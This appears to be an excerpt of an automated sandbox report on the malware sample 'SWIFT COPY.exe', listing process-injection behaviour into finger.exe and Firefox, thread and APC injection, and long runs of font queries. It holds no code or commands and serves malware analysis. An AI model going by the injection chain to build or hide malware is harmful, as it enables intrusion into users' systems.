Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Memory written: C:\Users\user\Desktop\SWIFT COPY.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: NULL target: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: NULL target: C:\Windows\SysWOW64\finger.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: NULL target: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: NULL target: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\finger.exe

Thread register set: target process: 8168

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\finger.exe

Thread APC queued: target process: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process created: C:\Users\user\Desktop\SWIFT COPY.exe "C:\Users\user\Desktop\SWIFT COPY.exe"	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Process created: C:\Windows\SysWOW64\finger.exe "C:\Windows\SysWOW64\finger.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: XwGiOcrCkQ.exe, 00000006.00000002.3579205876.0000000000E90000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000006.00000000.2142454273.0000000000E91000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000008.00000000.2293793802.0000000001981000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: XwGiOcrCkQ.exe, 00000006.00000002.3579205876.0000000000E90000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000006.00000000.2142454273.0000000000E91000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000008.00000000.2293793802.0000000001981000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: XwGiOcrCkQ.exe, 00000006.00000002.3579205876.0000000000E90000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000006.00000000.2142454273.0000000000E91000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000008.00000000.2293793802.0000000001981000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: XwGiOcrCkQ.exe, 00000006.00000002.3579205876.0000000000E90000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000006.00000000.2142454273.0000000000E91000.00000002.00000001.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000008.00000000.2293793802.0000000001981000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Users\user\Desktop\SWIFT COPY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
